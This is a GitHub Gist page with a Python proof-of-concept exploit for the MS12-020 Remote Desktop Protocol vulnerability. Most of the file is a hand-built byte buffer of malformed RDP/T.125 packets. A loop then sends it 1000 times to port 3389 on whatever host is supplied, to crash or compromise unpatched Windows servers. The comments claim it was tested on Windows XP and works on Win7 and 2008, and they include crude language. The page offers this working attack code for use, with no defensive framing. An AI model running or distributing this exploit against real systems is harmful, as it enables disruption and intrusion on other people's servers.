-
-
Save f0r34chb3t4/76775f3feaf543bbcf8f7b72d580ac68 to your computer and use it in GitHub Desktop.
MS12-020 Remote Desktop Protocol (RDP) Remote Code Execution PoC (Python)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# | |
# ms12-020 "chinese shit" PoC v2 (wireshark version) | |
# | |
# tested on winsp3 spanish, reported to work on Win7, win 2008 | |
# | |
# original source: http://115.com/file/be27pff7 | |
# | |
# | |
import socket | |
import sys | |
buf="" | |
buf+="\x03\x00\x00\x13" # TPKT, Version 3, lenght 19 | |
buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00" # ITU-T Rec X.224 | |
buf+="\x03\x00\x01\xd6" # TPKT, Version 3, lenght 470 | |
buf+="\x02\xf0\x80" # ITU-T Rec X.224 | |
buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICE T.125 | |
buf+="\x01\x01\x04\x01\x01\x01\x01\xff" # "Fuck you Chelios" packet | |
buf+="\x30\x19\x02\x04\x00\x00\x00\x00" | |
buf+="\x02\x04\x00\x00\x00\x02\x02\x04" | |
buf+="\x00\x00\x00\x00\x02\x04\x00\x00" | |
buf+="\x00\x01\x02\x04\x00\x00\x00\x00" | |
buf+="\x02\x04\x00\x00\x00\x01\x02\x02" | |
buf+="\xff\xff\x02\x04\x00\x00\x00\x02" | |
buf+="\x30\x19\x02\x04\x00\x00\x00\x01" | |
buf+="\x02\x04\x00\x00\x00\x01\x02\x04" | |
buf+="\x00\x00\x00\x01\x02\x04\x00\x00" | |
buf+="\x00\x01\x02\x04\x00\x00\x00\x00" | |
buf+="\x02\x04\x00\x00\x00\x01\x02\x02" | |
buf+="\x04\x20\x02\x04\x00\x00\x00\x02" | |
buf+="\x30\x1c\x02\x02\xff\xff\x02\x02" | |
buf+="\xfc\x17\x02\x02\xff\xff\x02\x04" | |
buf+="\x00\x00\x00\x01\x02\x04\x00\x00" | |
buf+="\x00\x00\x02\x04\x00\x00\x00\x01" | |
buf+="\x02\x02\xff\xff\x02\x04\x00\x00" | |
buf+="\x00\x02\x04\x82\x01\x33\x00\x05" | |
buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00" | |
buf+="\x08\x00\x10\x00\x01\xc0\x00\x44" | |
buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8" | |
buf+="\x00\x04\x00\x08\x00\x80\x02\xe0" | |
buf+="\x01\x01\xca\x03\xaa\x09\x04\x00" | |
buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f" | |
buf+="\x00\x53\x00\x54\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x04\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x0c\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x01\xca\x01\x00\x00\x00\x00" | |
buf+="\x00\x10\x00\x07\x00\x01\x00\x30" | |
buf+="\x00\x30\x00\x30\x00\x30\x00\x30" | |
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" | |
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" | |
buf+="\x00\x30\x00\x30\x00\x30\x00\x30" | |
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" | |
buf+="\x00\x30\x00\x30\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c" | |
buf+="\x00\x0d\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c" | |
buf+="\x00\x03\x00\x00\x00\x72\x64\x70" | |
buf+="\x64\x72\x00\x00\x00\x00\x00\x80" | |
buf+="\x80\x63\x6c\x69\x70\x72\x64\x72" | |
buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70" | |
buf+="\x73\x6e\x64\x00\x00\x00\x00\x00" | |
buf+="\xc0" | |
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 | |
buf+="\x02\xf0\x80" # ITU-T Rec X.224 | |
buf+="\x04\x01\x00\x01\x00" # MULTIPOINT-COMMUNICATION-SERVICE T.125 | |
buf+="\x03\x00\x00\x08" #TPKT, Version 3, Length 8 | |
buf+="\x02\xf0\x80" # ITU-T Rec X.224 | |
buf+="\x28" # MULTIPOINT-COMM-SERVICE T.125 | |
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 | |
buf+="\x02\xf0\x80" # ITU-T Rec X.224 | |
buf+="\x38\x00\x06\x03\xef" # MULTIPOINT-COMM-SERVICE T.125 | |
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 | |
buf+="\x02\xf0\x80" #ITU-T Rec X.224 | |
buf+="\x38\x00\x06\x03\xeb" # MULTIPOINT-COMM-SERVICE T.125 | |
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 | |
buf+="\x02\xf0\x80" #ITU-T Rec X.224 | |
buf+="\x38\x00\x06\x03\xec"# MULTIPOINT-COMM-SERVICE T.125 | |
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 | |
buf+="\x02\xf0\x80" #ITU-T Rec X.224 | |
buf+="\x38\x00\x06\x03\xed"# MULTIPOINT-COMM-SERVICE T.125 | |
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 | |
buf+="\x02\xf0\x80" #ITU-T Rec X.224 | |
buf+="\x38\x00\x06\x03\xee"# MULTIPOINT-COMM-SERVICE T.125 | |
buf+="\x03\x00\x00\x0b" # TPKT, Version 3, Lenght 12 | |
buf+="\x06\xd0\x00\x00\x12\x34\x00" #ITU-T Rec X.224 | |
HOST = sys.argv[1] | |
PORT = 3389 | |
for i in range(1000): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((HOST,PORT)) | |
print "sending: %d bytes" % len(buf) | |
s.send(buf) | |
rec = s.recv(100) | |
print "received: %d bytes" % len(rec) | |
s.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment